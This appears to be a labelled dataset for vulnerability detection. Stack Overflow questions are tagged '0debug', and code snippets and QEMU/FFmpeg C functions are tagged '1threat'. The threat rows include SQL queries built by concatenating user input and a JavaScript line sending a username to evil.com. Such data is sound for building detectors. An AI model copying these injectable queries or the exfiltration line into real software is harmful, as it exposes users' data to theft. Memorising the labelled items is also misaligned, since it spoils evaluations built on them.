problem
stringlengths
26
131k
labels
class label
2 classes
db.execute('SELECT * FROM employees WHERE id = ' + user_input)
1threat
static inline uint32_t mipsdsp_sat32_sub(int32_t a, int32_t b, CPUMIPSState *env) { int32_t temp; temp = a - b; if (MIPSDSP_OVERFLOW(a, -b, temp, 0x80000000)) { if (a > 0) { temp = 0x7FFFFFFF; } else { temp = 0x80000000; } set_DSPControl_overflow_flag(1, 20, env); } return temp & 0xFFFFFFFFull; }
1threat
static int blkdebug_debug_resume(BlockDriverState *bs, const char *tag) { BDRVBlkdebugState *s = bs->opaque; BlkdebugSuspendedReq *r; QLIST_FOREACH(r, &s->suspended_reqs, next) { if (!strcmp(r->tag, tag)) { qemu_coroutine_enter(r->co, NULL); return 0; } } return -ENOENT; }
1threat
How to explain swap two integers without using a third variable : <p>I found the following code to swap two integers without a third variable:</p> <pre><code>a=b+(b=a)*0 </code></pre> <p>Can anyone explain it in details? Thanks in advance.</p>
0debug
How to import an entire folder of SVG images (or how to load them dynamically) into a React Web App? : <p>I have a component that takes in an :itemName and spits out an html bundle containing an image. The image is different for each bundle.</p> <p>Here's what I have:</p> <pre><code>import React, { Component } from 'react'; import { NavLink } from 'react-router-dom'; import SVGInline from "react-svg-inline"; export default (props) =&gt; ( &lt;NavLink className="hex" activeClassName="active" to={'/hex/' + props.itemName}&gt; {React.createElement(SVGInline, {svg: props.itemName})} &lt;/NavLink&gt; ) </code></pre> <p>How could I make this component work?</p> <p>I know that if I just imported all my images explicitly, I could just call my images like so...</p> <pre><code>import SVGInline from "react-svg-inline"; import SASSSVG from "./images/sass.svg"; &lt;NavLink className="hex" activeClassName="active" to="/hex/sass"&gt;&lt;SVGInline svg={ SASSSVG } /&gt;&lt;/NavLink&gt; </code></pre> <p>This would work, but since I need to include ~60 svgs, it adds A LOT of excess code.</p> <p>Also, I found <a href="https://stackoverflow.com/questions/41086081/importing-all-files-from-a-folder-in-react">in this question</a> this code...</p> <pre><code>import * as IconID from './icons'; </code></pre> <p>But that doesn't seem to work (it was part of the question, not the answer), and the answer was a bit too nonspecific to answer the question I'm asking.</p> <p>I also found <a href="https://stackoverflow.com/questions/40852337/dynamically-importing-an-svg-in-react">this question</a> but again there's an answer (although unapproved) that possess more questions than it answers. So, after installing react-svg, I set up a test to see if the answer works like so...</p> <pre><code>import React, { Component } from 'react'; import ReactDOM from 'react-dom' import { NavLink } from 'react-router-dom'; import ReactSVG from 'react-svg' export default (props) =&gt; ( &lt;NavLink className="hex" activeClassName="active" to={'/hex/' + props.itemName}&gt; &lt;ReactSVG path={"images/" + props.itemName + ".svg"} callback={svg =&gt; console.log(svg)} className="example" /&gt; &lt;/NavLink&gt; ) </code></pre> <p>But, just as the OP of that question was asking, the page can't find my svg even after copying my entire image folder into my build folder. I've also tried "./images/"</p> <p>I feel like I'm just missing one last key piece of information and after searching for the past day, I was hoping someone could identify the piece I'm missing.</p>
0debug
How to downgrade php from 7.1.1 to 5.6 in xampp 7.1.1? : <p>I want to downgrade php version from 7.1.1 to 5.6 in xampp 7.1.1. But I can't find any option. <a href="https://i.stack.imgur.com/2x149.png" rel="noreferrer"><img src="https://i.stack.imgur.com/2x149.png" alt="PHP info from xampp"></a></p>
0debug
React-Native: Error: Failed to install CocoaPods dependencies for iOS project, which is required by this template : <p>While executing <code>npx react-native init MyProject</code> I ran into the following error:</p> <pre><code>✖ Installing CocoaPods dependencies (this may take a few minutes) error Error: Failed to install CocoaPods dependencies for iOS project, which is required by this template. </code></pre> <p>Which seems to be related to an earlier error displayed:</p> <pre><code>checking for arm-apple-darwin-gcc... /Library/Developer/CommandLineTools/usr/bin/cc -arch armv7 -isysroot checking whether the C compiler works... no xcrun: error: SDK "iphoneos" cannot be located xcrun: error: SDK "iphoneos" cannot be located xcrun: error: SDK "iphoneos" cannot be located xcrun: error: unable to lookup item 'Path' in SDK 'iphoneos' </code></pre> <p>XCode and its CLI seem to all run fine.</p> <p>My configuration:</p> <ul> <li>MacOS Catalina 10.15.1 (19B88) </li> <li>NPM 6.11.3 </li> <li>React-Native 0.61.4 </li> <li>XCode 11.2.1 (11B500)</li> </ul> <p>Any leads appreciated.</p>
0debug
Counting records in JSON array using javascript and Postman : <p>I have a control that returns 2 records:</p> <pre><code>{ "value": [ { "ID": 5, "Pupil": 1900031265, "Offer": false, }, { "ID": 8, "Pupil": 1900035302, "Offer": false, "OfferDetail": "" } ] } </code></pre> <p>I need to test via Postman, that I have 2 records returned. I've tried various methods I've found here and elsewhere but with no luck. Using the code below fails to return the expected answer.</p> <pre><code>responseJson = JSON.parse(responseBody); var list = responseBody.length; tests["Expected number"] = list === undefined || list.length === 2; </code></pre> <p>At this point I'm not sure if it's the API I'm testing that's at fault or my coding - I've tried looping through the items returned but that's not working for me either. Could someone advise please - I'm new to javascript so am expecting there to be an obvious cause to my problem but I'm failing to see it. Many thanks. </p>
0debug
How can I close the whole Kotlin app when I click a button? : <p>I used exitProcess(1) but it just goes back to the previous activity! I want to close every activity when I click the button.</p>
0debug
why sizeof(0xF) is 4 bytes in C++? : I have following code, unsigned short code = 0x12E0; code = code & 0x0FFF; In my CLion IDE, i am getting a warning that "Values of type *'int'* may not fit into the receiver type *unsigned short*" if i put it like `code &= 0x0FFF;`, the warning is gone. Why it is taking 0x0FFF as int? the sizeof(0xF) is 4, can someone explain why?
0debug
static char *json_escape_str(const char *s) { static const char json_escape[] = {'"', '\\', '\b', '\f', '\n', '\r', '\t', 0}; static const char json_subst[] = {'"', '\\', 'b', 'f', 'n', 'r', 't', 0}; char *ret, *p; int i, len = 0; for (i = 0; s[i]; i++) { if (strchr(json_escape, s[i])) len += 2; else if ((unsigned char)s[i] < 32) len += 6; else len += 1; } p = ret = av_malloc(len + 1); if (!p) return NULL; for (i = 0; s[i]; i++) { char *q = strchr(json_escape, s[i]); if (q) { *p++ = '\\'; *p++ = json_subst[q - json_escape]; } else if ((unsigned char)s[i] < 32) { snprintf(p, 7, "\\u00%02x", s[i] & 0xff); p += 6; } else { *p++ = s[i]; } } *p = 0; return ret; }
1threat
How to decrease padding in NumberPicker : <p>How to decrease padding in NumberPicker </p> <p><a href="https://i.stack.imgur.com/7A7wJ.png" rel="noreferrer"><img src="https://i.stack.imgur.com/7A7wJ.png" alt="enter image description here"></a> </p> <p>I want something like it: </p> <p><a href="https://i.stack.imgur.com/8LT8j.png" rel="noreferrer"><img src="https://i.stack.imgur.com/8LT8j.png" alt="enter image description here"></a></p>
0debug
Reversing letters in string without changing places of other characters : def reversing(sentence): code = [] for l1, l2 in zip(sentence, sentence[::-1]): if l1.isalpha() and l2.isalpha(): l2 = l2.upper() if l1.isupper() else l2.lower() code.append(l2) return ''.join(code) I need to reverse each letter in this sentence but every other character needs to stay in the same place as in the original sentence. This what I have so far but I'm stuck from here because I can't see what the mistake is. For example the sentence 'God bless our brave Confederates, Lord!' should be after this function 'Dro lseta red efnoc Evarbruossel, Bdog!' Thanks in advance.
0debug
Django and Celery - re-loading code into Celery after a change : <p>If I make a change to tasks.py while celery is running, is there a mechanism by which it can re-load the updated code? or do I have to shut Celery down a re-load?</p> <p>I read celery had an <code>--autoreload</code> argument in older versions, but I can't find it in the current version: </p> <p><code>celery: error: unrecognized arguments: --autoreload</code></p>
0debug
static bool do_check_io_limits(BlockIOLimit *io_limits) { bool bps_flag; bool iops_flag; assert(io_limits); bps_flag = (io_limits->bps[BLOCK_IO_LIMIT_TOTAL] != 0) && ((io_limits->bps[BLOCK_IO_LIMIT_READ] != 0) || (io_limits->bps[BLOCK_IO_LIMIT_WRITE] != 0)); iops_flag = (io_limits->iops[BLOCK_IO_LIMIT_TOTAL] != 0) && ((io_limits->iops[BLOCK_IO_LIMIT_READ] != 0) || (io_limits->iops[BLOCK_IO_LIMIT_WRITE] != 0)); if (bps_flag || iops_flag) { return false; } return true; }
1threat
static int v9fs_receive_response(V9fsProxy *proxy, int type, int *status, void *response) { int retval; ProxyHeader header; struct iovec *reply = &proxy->in_iovec; *status = 0; reply->iov_len = 0; retval = socket_read(proxy->sockfd, reply->iov_base, PROXY_HDR_SZ); if (retval < 0) { return retval; } reply->iov_len = PROXY_HDR_SZ; proxy_unmarshal(reply, 0, "dd", &header.type, &header.size); if (header.size > PROXY_MAX_IO_SZ) { int count; while (header.size > 0) { count = MIN(PROXY_MAX_IO_SZ, header.size); count = socket_read(proxy->sockfd, reply->iov_base, count); if (count < 0) { return count; } header.size -= count; } *status = -ENOBUFS; return 0; } retval = socket_read(proxy->sockfd, reply->iov_base + PROXY_HDR_SZ, header.size); if (retval < 0) { return retval; } reply->iov_len += header.size; if (header.type == T_ERROR) { int ret; ret = proxy_unmarshal(reply, PROXY_HDR_SZ, "d", status); if (ret < 0) { *status = ret; } return 0; } switch (type) { case T_LSTAT: { ProxyStat prstat; retval = proxy_unmarshal(reply, PROXY_HDR_SZ, "qqqdddqqqqqqqqqq", &prstat.st_dev, &prstat.st_ino, &prstat.st_nlink, &prstat.st_mode, &prstat.st_uid, &prstat.st_gid, &prstat.st_rdev, &prstat.st_size, &prstat.st_blksize, &prstat.st_blocks, &prstat.st_atim_sec, &prstat.st_atim_nsec, &prstat.st_mtim_sec, &prstat.st_mtim_nsec, &prstat.st_ctim_sec, &prstat.st_ctim_nsec); prstat_to_stat(response, &prstat); break; } case T_STATFS: { ProxyStatFS prstfs; retval = proxy_unmarshal(reply, PROXY_HDR_SZ, "qqqqqqqqqqq", &prstfs.f_type, &prstfs.f_bsize, &prstfs.f_blocks, &prstfs.f_bfree, &prstfs.f_bavail, &prstfs.f_files, &prstfs.f_ffree, &prstfs.f_fsid[0], &prstfs.f_fsid[1], &prstfs.f_namelen, &prstfs.f_frsize); prstatfs_to_statfs(response, &prstfs); break; } case T_READLINK: { V9fsString target; v9fs_string_init(&target); retval = proxy_unmarshal(reply, PROXY_HDR_SZ, "s", &target); strcpy(response, target.data); v9fs_string_free(&target); break; } case T_LGETXATTR: case T_LLISTXATTR: { V9fsString xattr; v9fs_string_init(&xattr); retval = proxy_unmarshal(reply, PROXY_HDR_SZ, "s", &xattr); memcpy(response, xattr.data, xattr.size); v9fs_string_free(&xattr); break; } case T_GETVERSION: proxy_unmarshal(reply, PROXY_HDR_SZ, "q", response); break; default: return -1; } if (retval < 0) { *status = retval; } return 0; }
1threat
Adding a coded animation in Splash Screen iOS Swift 4 : <p>I've been trying to add one of this coded cool animations I found <a href="https://iosexample.com/fancy-and-beautiful-loaders-for-you-awesome-apps/" rel="nofollow noreferrer">https://iosexample.com/fancy-and-beautiful-loaders-for-you-awesome-apps/</a> in my launch screen (splash screen) when my app first starts. My intuition was to create a LaunchScreen UIViewController class, link it to the LaunchScreen.storyboard, and insert the code there. Unfortunately I haven't found much documentation on that and I've read that apple does not allow to run code on launchscreen. Do you know what could be a possible solution to this? Thanks</p>
0debug
Is it possible to Git merge / push using Jenkins pipeline : <p>I am trying to create a Jenkins workflow using a Jenkinsfile. All I want it to do is monitor the 'develop' branch for changes. When a change occurs, I want it to git tag and merge to master. I am using the GitSCM Step but the only thing that it appears to support is git clone. I don't want to have to shell out to do the tag / merge but I see no way around it. Does anyone know if this is possible? I am using BitBucket (on-prem) for my Git server.</p>
0debug
What would be a good way to select one class or another class? : <p>I'm trying to select one class that is created dynamically, or another class that is created in html. What would be a good way of doing this? </p> <p>I've tried this: </p> <pre><code>$('.wrapper' || '.surround').on('click', '.bet-button', function(){} </code></pre> <p>and also this: </p> <pre><code>$('.wrapper', '.surround').on('click', '.bet-button', function(){} </code></pre> <p>is there a way to write this, so far it doesn't seem to be working. </p>
0debug
Arrays in Python : <p>I am new into Python and i was trying to do an array like i was doing them on PHP but it seems that its different, so i look into online and it was talking about dicts and lupes i think was the other thing so i kinda figure out how to work the array with key and value but only for one entry. If i wanted to do multiple and have the input look at the array and post the information needed i was not able to do it. </p> <p>The only think i need it to do its look for the state and apply the income tax amount. I was using this before i change it to what it is now. States = ['Name': "Alabama", 'Tax': "0.4"] then on the if statement i was calling the State['Name'] and ['Tax'] but that only worked for when i had 1 state and 1 tax. Hope this makes sense to someone else. </p> <pre><code>print('This software was create as a practice piece. This software will calculate income and break it down into different categories. It will deduct taxes based on the state you input. ') print('') print('Lets start with something easy!') print('') name = input('What its your name?') print('') print('Welcome', name, 'i will start by asking you a couple of questions.') print('') hourlyIncome = int(input('How much do you make an hour?')) print('') weeklyHours = int(input('How many hours do you normally work in a week?')) print('') # // Income math weeklyIncome = hourlyIncome * weeklyHours biweekly = weeklyIncome * 2 monthly = biweekly * 2 yearly = weeklyIncome * 52 # Income math // print('- Got it!, So that is', weeklyIncome, 'every week') print('') print("- It's", biweekly, 'every two weeks.') print('') print('- This means that you make', monthly, 'a month since you get pay twice per month.') print('') print('- You make', yearly, 'a year.') print('') stateName = input('In what state are you located?') print('') # State States = [("Alabama",".05"),("Iowa","0.04")] # // States // if stateName==States["key"]: print(States["Name"],'has a', "{0:.0f}%".format(States["Tax"] * 100), 'income tax that is deduct from your income.') print('') # // Tax Math weeklyTax = weeklyIncome * States["Tax"] biweeklyTax = biweekly * States["Tax"] monthlyTax = monthly * States["Tax"] yearlyTax = yearly * States["Tax"] # Tax math // print('This is a ', weeklyTax, 'deduction in your weekly income making it', weeklyIncome - weeklyTax,'per week. Not just that if we calculate the remaining fields we are looking at', biweekly - biweeklyTax, 'every two weeks,', monthly - monthlyTax, 'monthly', yearly - yearlyTax, 'yearly.') </code></pre>
0debug
static int av_read_frame_internal(AVFormatContext *s, AVPacket *pkt) { AVStream *st; int len, ret; for(;;) { st = s->cur_st; if (st) { if (!st->parser) { *pkt = s->cur_pkt; compute_pkt_fields(s, st, NULL, pkt); s->cur_st = NULL; return 0; } else if (s->cur_len > 0) { if (!st->got_frame) { st->cur_frame_pts = s->cur_pkt.pts; st->cur_frame_dts = s->cur_pkt.dts; s->cur_pkt.pts = AV_NOPTS_VALUE; s->cur_pkt.dts = AV_NOPTS_VALUE; st->got_frame = 1; } len = av_parser_parse(st->parser, &st->codec, &pkt->data, &pkt->size, s->cur_ptr, s->cur_len); s->cur_ptr += len; s->cur_len -= len; if (pkt->size) { pkt->duration = 0; pkt->stream_index = st->index; pkt->pts = st->cur_frame_pts; pkt->dts = st->cur_frame_dts; pkt->destruct = av_destruct_packet_nofree; compute_pkt_fields(s, st, st->parser, pkt); st->got_frame = 0; return 0; } } else { s->cur_st = NULL; } } else { if (s->cur_st && s->cur_st->parser) av_free_packet(&s->cur_pkt); ret = av_read_packet(s, &s->cur_pkt); if (ret < 0) return ret; s->cur_pkt.pts = convert_timestamp_units(s, &s->last_pkt_pts, &s->last_pkt_pts_frac, &s->last_pkt_stream_pts, s->cur_pkt.pts); s->cur_pkt.dts = convert_timestamp_units(s, &s->last_pkt_dts, &s->last_pkt_dts_frac, &s->last_pkt_stream_dts, s->cur_pkt.dts); #if 0 if (s->cur_pkt.stream_index == 1) { if (s->cur_pkt.pts != AV_NOPTS_VALUE) printf("PACKET pts=%0.3f\n", (double)s->cur_pkt.pts / AV_TIME_BASE); if (s->cur_pkt.dts != AV_NOPTS_VALUE) printf("PACKET dts=%0.3f\n", (double)s->cur_pkt.dts / AV_TIME_BASE); } #endif if (s->cur_pkt.duration != 0) { s->cur_pkt.duration = ((int64_t)s->cur_pkt.duration * AV_TIME_BASE * s->pts_num) / s->pts_den; } st = s->streams[s->cur_pkt.stream_index]; s->cur_st = st; s->cur_ptr = s->cur_pkt.data; s->cur_len = s->cur_pkt.size; if (st->need_parsing && !st->parser) { st->parser = av_parser_init(st->codec.codec_id); if (!st->parser) { st->need_parsing = 0; } } } } }
1threat
Print 8 numbers after dot : I have this number : <!-- begin snippet: js hide: false console: true babel: false --> <!-- language: lang-html --> $total = '0.04149951583898188'; <!-- end snippet --> and I want to show only 0.0414995 How can ?
0debug
How to setup an emulator running API 25 using a build matrix on Travis CI? : <p>I am attempting to setup Travis CI so that it runs instrumentation tests on an emulator running API 25. Travis runs the tests to completion on API 4/10/19, but fails to startup the emulator for API 25, with the following message:</p> <pre><code>$ echo no | android create avd --force -n test -t $ANDROID_TARGET --abi $ANDROID_ABI Valid ABIs: no ABIs. Error: Invalid --abi armeabi-v7a for the selected target. </code></pre> <p>The output of <code>android list targets</code> shows that the API 19 emulator has a Tag/ABI, whereas the API 25 emulator does not:</p> <pre><code>id: 7 or "android-19" Name: Android 4.4.2 Type: Platform API level: 19 Revision: 4 Skins: HVGA, QVGA, WQVGA400, WQVGA432, WSVGA, WVGA800 (default), WVGA854, WXGA720, WXGA800, WXGA800-7in Tag/ABIs : default/armeabi-v7a id: 11 or "android-25" Name: Android 7.1.1 Type: Platform API level: 25 Revision: 3 Skins: HVGA, QVGA, WQVGA400, WQVGA432, WSVGA, WVGA800 (default), WVGA854, WXGA720, WXGA800, WXGA800-7in Tag/ABIs : no ABIs. </code></pre> <p>How can I fix this so that the API 25 emulator launches and runs the tests?</p> <p>The full <code>.travis.yml</code> file is as follows:</p> <pre><code>language: android android: components: - tools - platform-tools - tools # appears twice as per Travis docs - build-tools-23.0.1 - build-tools-25.0.2 - android-4 - android-10 - android-19 - android-23 - android-25 - extra-android-m2repository - sys-img-armeabi-v7a-android-25 env: matrix: - ANDROID_TARGET=android-4 ANDROID_ABI=armeabi - ANDROID_TARGET=android-10 ANDROID_ABI=armeabi - ANDROID_TARGET=android-19 ANDROID_ABI=armeabi-v7a - ANDROID_TARGET=android-25 ANDROID_ABI=armeabi-v7a before_script: # Create and start emulator - android list targets - jdk_switcher use oraclejdk8 - echo no | android create avd --force -n test -t $ANDROID_TARGET --abi $ANDROID_ABI - emulator -avd test -no-skin -no-audio -no-window &amp; - adb wait-for-device - while [[ `adb shell pm path android` == 'Error'* ]]; do sleep 2; done - adb shell input keyevent 82 &amp; script: ./gradlew --info connectedAndroidTest sudo: false </code></pre>
0debug
static int coroutine_fn iscsi_co_writev(BlockDriverState *bs, int64_t sector_num, int nb_sectors, QEMUIOVector *iov) { IscsiLun *iscsilun = bs->opaque; struct IscsiTask iTask; uint64_t lba; uint32_t num_sectors; int fua; if (!is_request_lun_aligned(sector_num, nb_sectors, iscsilun)) { return -EINVAL; } if (bs->bl.max_transfer_length && nb_sectors > bs->bl.max_transfer_length) { error_report("iSCSI Error: Write of %d sectors exceeds max_xfer_len " "of %d sectors", nb_sectors, bs->bl.max_transfer_length); return -EINVAL; } lba = sector_qemu2lun(sector_num, iscsilun); num_sectors = sector_qemu2lun(nb_sectors, iscsilun); iscsi_co_init_iscsitask(iscsilun, &iTask); retry: fua = iscsilun->dpofua && !bdrv_enable_write_cache(bs); iTask.force_next_flush = !fua; if (iscsilun->use_16_for_rw) { iTask.task = iscsi_write16_task(iscsilun->iscsi, iscsilun->lun, lba, NULL, num_sectors * iscsilun->block_size, iscsilun->block_size, 0, 0, fua, 0, 0, iscsi_co_generic_cb, &iTask); } else { iTask.task = iscsi_write10_task(iscsilun->iscsi, iscsilun->lun, lba, NULL, num_sectors * iscsilun->block_size, iscsilun->block_size, 0, 0, fua, 0, 0, iscsi_co_generic_cb, &iTask); } if (iTask.task == NULL) { return -ENOMEM; } scsi_task_set_iov_out(iTask.task, (struct scsi_iovec *) iov->iov, iov->niov); while (!iTask.complete) { iscsi_set_events(iscsilun); qemu_coroutine_yield(); } if (iTask.task != NULL) { scsi_free_scsi_task(iTask.task); iTask.task = NULL; } if (iTask.do_retry) { iTask.complete = 0; goto retry; } if (iTask.status != SCSI_STATUS_GOOD) { return iTask.err_code; } iscsi_allocationmap_set(iscsilun, sector_num, nb_sectors); return 0; }
1threat
static void amdvi_realize(DeviceState *dev, Error **err) { int ret = 0; AMDVIState *s = AMD_IOMMU_DEVICE(dev); X86IOMMUState *x86_iommu = X86_IOMMU_DEVICE(dev); MachineState *ms = MACHINE(qdev_get_machine()); MachineClass *mc = MACHINE_GET_CLASS(ms); PCMachineState *pcms = PC_MACHINE(object_dynamic_cast(OBJECT(ms), TYPE_PC_MACHINE)); PCIBus *bus; if (!pcms) { error_setg(err, "Machine-type '%s' not supported by amd-iommu", mc->name); return; } bus = pcms->bus; s->iotlb = g_hash_table_new_full(amdvi_uint64_hash, amdvi_uint64_equal, g_free, g_free); x86_iommu->type = TYPE_AMD; qdev_set_parent_bus(DEVICE(&s->pci), &bus->qbus); object_property_set_bool(OBJECT(&s->pci), true, "realized", err); ret = pci_add_capability(&s->pci.dev, AMDVI_CAPAB_ID_SEC, 0, AMDVI_CAPAB_SIZE, err); if (ret < 0) { return; } s->capab_offset = ret; ret = pci_add_capability(&s->pci.dev, PCI_CAP_ID_MSI, 0, AMDVI_CAPAB_REG_SIZE, err); if (ret < 0) { return; } ret = pci_add_capability(&s->pci.dev, PCI_CAP_ID_HT, 0, AMDVI_CAPAB_REG_SIZE, err); if (ret < 0) { return; } memory_region_init_io(&s->mmio, OBJECT(s), &mmio_mem_ops, s, "amdvi-mmio", AMDVI_MMIO_SIZE); sysbus_init_mmio(SYS_BUS_DEVICE(s), &s->mmio); sysbus_mmio_map(SYS_BUS_DEVICE(s), 0, AMDVI_BASE_ADDR); pci_setup_iommu(bus, amdvi_host_dma_iommu, s); s->devid = object_property_get_int(OBJECT(&s->pci), "addr", err); msi_init(&s->pci.dev, 0, 1, true, false, err); amdvi_init(s); }
1threat
cursor.execute('SELECT * FROM users WHERE username = ' + user_input)
1threat
Event emitter's parameter is undefined for listener : <p>In Angular2 component I use EventEmitter to emit an event with parameter. In the parent component listener this parameter is undefined. Here is a <a href="http://plnkr.co/edit/Vk1rKNsKGiqVaHHBRKMk?p=preview" rel="noreferrer">plunker</a>:</p> <pre><code>import {Component, EventEmitter, Output} from 'angular2/core' @Component({ template: `&lt;ul&gt; &lt;li *ngFor="#product of products" (click)="onClick(product)"&gt;{{product.name}}&lt;/li&gt; &lt;/ul&gt;`, selector: 'product-picker', outputs: ['pick'] }) export class ProductPicker { products: Array&lt;any&gt;; pick: EventEmitter&lt;any&gt;; constructor() { this.products = [ {id: 1, name: 'first product'}, {id: 2, name: 'second product'}, {id: 3, name: 'third product'}, ]; this.pick = new EventEmitter(); } onClick(product) { this.pick.emit(product); } } @Component({ selector: 'my-app', providers: [], template: ` &lt;div&gt; &lt;h2&gt;Pick a product&lt;/h2&gt; &lt;product-picker (pick)="onPick(item)"&gt;&lt;/product-picker&gt; &lt;/div&gt; &lt;div&gt;You picked: {{name}}&lt;/div&gt; `, directives: [ProductPicker] }) export class App { name: string = 'nothing'; onPick(item) { if (typeof item == 'undefined') { console.log("item is undefined!"); } else { this.name = item.name; } } } </code></pre> <p>How to pass the picked product to parent component?</p>
0debug
Python PING Script - Fauls positive - Destination Unreachable : I am sorry to ask again about this, but I have been unable to find a way to eliminate a false positive that keeps happening. When I get a reply "Destination unreachable" reply it's showing all packets returned and 0 packets lost... so its showing SERVER UP instead of down. how on gods earth can I get around this? # Server up/down Script # - Module Import section import socket import sys import os import subprocess # - IP Address input request hostname1 = input (" Please Enter IP Address: ") # - Command to run ping request, but also hides ping info response = subprocess.run(["ping", "-c", "1", hostname1], stdout=subprocess.PIPE) response.returncode #___ ORIGINAL CODE ___ #if (response == "Reply from", hostname1): if response.returncode == 0: print ( 50 * "-") print ("[ **SERVER IS ALIVE** ]") print ( 50 * "-") elif response.returncode == 0 and (str("Destination host unreachable.")): print( 50 * "-") print(hostname1, "[ **SERVER DOWN** ] ") print( 50 * "-") else: print( 50 * "-") print(hostname1, "[ **SERVER DOWN** ] ") print( 50 * "-")
0debug
What exactly does this HTML/JavaScript code? Is it malicious? : <p>Someone sent me a link to an "empty" website and I figured out he may have bad intentions, but I already accessed it. I pasted below the source page. Could you please explain what it exactly does?</p> <pre><code> &lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;meta charset="utf-8"&gt; &lt;style type="text/css"&gt; html, body, #partner, iframe { height:100%; width:100%; margin:0; padding:0; border:0; outline:0; font-size:100%; vertical-align:baseline; background:transparent; } body { overflow:hidden; } &lt;/style&gt; &lt;meta content="NOW" name="expires"&gt; &lt;meta content="index, follow, all" name="GOOGLEBOT"&gt; &lt;meta content="index, follow, all" name="robots"&gt; &lt;!-- Following Meta-Tag fixes scaling-issues on mobile devices --&gt; &lt;meta content="width=device-width; initial-scale=1.0; maximum-scale=1.0; user-scalable=0;" name="viewport"&gt; &lt;/head&gt; &lt;body&gt; &lt;div id="partner"&gt;&lt;/div&gt; &lt;script type="text/javascript"&gt; document.write('&lt;script type="text/javascript" language="JavaScript"' + 'src="//sedoparking.com/frmpark/' + window.location.host + '/' + '1und1parking1' + '/park.js"&gt;' + '&lt;\/script&gt;' ); &lt;/script&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>
0debug
static void parse_cmdline(const char *cmdline, int *pnb_args, char **args) { const char *p; int nb_args, ret; char buf[1024]; p = cmdline; nb_args = 0; for(;;) { while (qemu_isspace(*p)) p++; if (*p == '\0') break; if (nb_args >= MAX_ARGS) break; ret = get_str(buf, sizeof(buf), &p); args[nb_args] = g_strdup(buf); nb_args++; if (ret < 0) break; } *pnb_args = nb_args; }
1threat
How to covert string into list in python : I have string as str = 'example' How to convert it into list as lst = ['example'] in an efficient way?
0debug
SoftLayer API: Need php sample code to verify order for power 8 servers (package id 242) : <p>Can somebody please provide sample php code to verify order for power 8 servers (package Id 242). </p> <p>The power8 servers seems using presetIds. Will the parameters for SoftLayer_Product_Order.verifyOder(...) be similar to the ones for hourly baremetal server ?</p>
0debug
Usage of increment operators : <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt; int main() { int i=3,y; y=++i*++i*++i; printf("%d",y); } </code></pre> <p>The i value is initially getting incremented to 4.Then it is incremented to 5. therefore it is incremented to 6. accordingly result should come 216. but 150 is coming as a result.</p>
0debug
static void via_class_init(ObjectClass *klass, void *data) { DeviceClass *dc = DEVICE_CLASS(klass); PCIDeviceClass *k = PCI_DEVICE_CLASS(klass); k->init = vt82c686b_initfn; k->config_write = vt82c686b_write_config; k->vendor_id = PCI_VENDOR_ID_VIA; k->device_id = PCI_DEVICE_ID_VIA_ISA_BRIDGE; k->class_id = PCI_CLASS_BRIDGE_ISA; k->revision = 0x40; dc->desc = "ISA bridge"; dc->no_user = 1; dc->vmsd = &vmstate_via; }
1threat
document.location = 'http://evil.com?username=' + user_input;
1threat
int qcow2_get_cluster_offset(BlockDriverState *bs, uint64_t offset, int *num, uint64_t *cluster_offset) { BDRVQcowState *s = bs->opaque; unsigned int l2_index; uint64_t l1_index, l2_offset, *l2_table; int l1_bits, c; unsigned int index_in_cluster, nb_clusters; uint64_t nb_available, nb_needed; int ret; index_in_cluster = (offset >> 9) & (s->cluster_sectors - 1); nb_needed = *num + index_in_cluster; l1_bits = s->l2_bits + s->cluster_bits; nb_available = (1ULL << l1_bits) - (offset & ((1ULL << l1_bits) - 1)); nb_available = (nb_available >> 9) + index_in_cluster; if (nb_needed > nb_available) { nb_needed = nb_available; } *cluster_offset = 0; l1_index = offset >> l1_bits; if (l1_index >= s->l1_size) { ret = QCOW2_CLUSTER_UNALLOCATED; goto out; } l2_offset = s->l1_table[l1_index] & L1E_OFFSET_MASK; if (!l2_offset) { ret = QCOW2_CLUSTER_UNALLOCATED; goto out; } ret = l2_load(bs, l2_offset, &l2_table); if (ret < 0) { return ret; } l2_index = (offset >> s->cluster_bits) & (s->l2_size - 1); *cluster_offset = be64_to_cpu(l2_table[l2_index]); nb_clusters = size_to_clusters(s, nb_needed << 9); ret = qcow2_get_cluster_type(*cluster_offset); switch (ret) { case QCOW2_CLUSTER_COMPRESSED: c = 1; *cluster_offset &= L2E_COMPRESSED_OFFSET_SIZE_MASK; break; case QCOW2_CLUSTER_ZERO: if (s->qcow_version < 3) { return -EIO; } c = count_contiguous_clusters(nb_clusters, s->cluster_size, &l2_table[l2_index], QCOW_OFLAG_ZERO); *cluster_offset = 0; break; case QCOW2_CLUSTER_UNALLOCATED: c = count_contiguous_free_clusters(nb_clusters, &l2_table[l2_index]); *cluster_offset = 0; break; case QCOW2_CLUSTER_NORMAL: c = count_contiguous_clusters(nb_clusters, s->cluster_size, &l2_table[l2_index], QCOW_OFLAG_ZERO); *cluster_offset &= L2E_OFFSET_MASK; break; default: abort(); } nb_available = (c * s->cluster_sectors); out: if (nb_available > nb_needed) nb_available = nb_needed; *num = nb_available - index_in_cluster; return ret; }
1threat
orcale sql related to multi database : select t.FIRST_NAME,t.LAST_NAME,t.GENDER,t.DOB,subj.NAME sub_name,coll.NAME college_name,univ.NAME university_name, dom.name domain,countr.NAME country_name from TEACHER_TB t,SUBJECT_TB subj,COLLG_TCHR_TB ct,COLLEGE_TB coll,UNIVERSITY_TB univ,DOMAIN_TB dom,COUNTRY_TB countr where t.SUBJECT_ID=subj.SUBJECT_ID and ct.TEACHER_ID=t.TEACHER_ID and coll.COLLEGE_ID=ct.COLLEGE_ID and coll.UNIVERSITY_ID=univ.UNIVERSITY_ID and dom.DOMAIN_ID=coll.DOMAIN_ID and countr.COUNTRY_ID=univ.COUNTRY_ID --------this querry is giving me my data but in that 10 rows i need to pick only those names(name r tecaher name) who r teaching in more than 1 college.so need some help here how to implement for fectchng those 2 names.
0debug
